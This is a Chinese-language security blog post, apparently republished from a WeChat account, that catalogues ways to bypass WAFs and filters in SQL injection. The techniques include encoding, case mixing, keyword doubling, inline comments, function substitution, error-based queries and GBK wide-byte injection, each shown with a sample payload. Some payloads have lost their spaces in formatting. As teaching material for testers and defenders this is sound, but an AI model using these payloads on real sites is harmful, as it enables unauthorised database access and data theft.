SQL注入绕过方式解析 | 渗透测试必看技巧

admin 2025年3月21日00:51:26评论11 views字数 1404阅读4分40秒阅读模式

本文总结一些常用的绕过方式以及原理,菜鸟路过,大佬轻喷!!

SQL注入作为Web安全的“头号杀手”,其核心在于攻击者通过构造恶意输入,绕过应用程序的过滤机制,操控数据库查询逻辑。然而,随着安全防护(如WAF)的普及,传统的注入手段已难以奏效。在此简单总结一些常用sql注入常用绕过方式,帮助开发者与安全人员加固防御,渗透测试者亦可从中获取新思路。

一、编码绕过

原理:通过编码转换敏感字符,使其绕过简单的关键字匹配机制。

常见方式:

URL编码:将空格编码为%20,单引号编码为%27。

id=1%20AND%201=1  --> 实际查询:id=1 AND 1=1

Unicode编码:利用数据库支持的Unicode字符,如u0027代替单引号。

SELECT * FROM users WHERE name='adminu0027 OR 1=1--+

双重URL编码:对已编码字符二次编码

AND -> %25%36%31%25%36%65%25%36%34 (需服务端再解码一次)。

二、大小写与双写绕过:混淆黑名单

原理:利用SQL语法不区分大小写或过滤逻辑不严谨的漏洞。

大小写混合:

id=1uNiOnSeLeCt1,2,3--  

双写关键字:若过滤SELECT删除操作,可构造SELSELECTECT,过滤后剩余 SELECT。

id=1 anandd 1=1--> 实际执行:AND 1=1

三、注释与空白符:隐藏恶意代码

原理:通过注释或特殊空白符分割关键词,绕过正则匹配。

内联注释(MySQL特性):
id=1/*!UNION*/SELECT1,2,3--+
空白符替代:%09(Tab)、%0a(换行)或/**/代替空格。

SELECT/**/userFROM/**/users;
注释截断:用--%0a#注释后续语句。

id=1' OR 1=1--%0a AND password='xxx' 

四、函数与符号替换:绕过关键字过滤

原理:利用数据库内置函数或符号等价替换被拦截的关键字。

函数替换:

SUBSTRING → MID或 SUBSTR,SLEEP → BENCHMARK。

避免逗号:

SUBSTR(database() FROM 1 FOR 1) 替代 SUBSTR(database(),1,1)
逻辑符号替换:

AND → &&OR → ||,如:id=1%27 ||1=1

五、非常规字符与报错利用

符号绕过等号:用LIKEREGEXP<>替代=

 select *FROM users WHERE id LIKE'1'OR1=1;

报错注入:故意触发数据库错误泄露信息。

id=1AND(SELECT1FROM(SELECTCOUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))FROM users GROUPBY x)y) --+

 六、宽字节注入(GBK 编码绕过)

原理:利用数据库的 GBK 字符集特性,将转义符 与用户输入组合成合法字符(如汉字),绕过单引号过滤。

?id=1%df%27%20AND%201=1--+

解析:

%df%27 → 组合为 運'(GBK 编码), 被 %df 吞并,单引号 ' 逃逸成功。

最终语句:

id=1運' AND 1=1--+

往期推荐

【工具分享】openSCA组件漏洞扫描神器

小程序反编译通杀方法(附工具)

【工具分享】PotatoTool网安人必备工具

【工具分享】LovelyMem内存安全分析利器,CTF必备

原文始发于微信公众号(小白爱学习Sec):SQL注入绕过方式解析 | 渗透测试必看技巧

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月21日00:51:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入绕过方式解析 | 渗透测试必看技巧https://cn-sec.com/archives/3862856.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息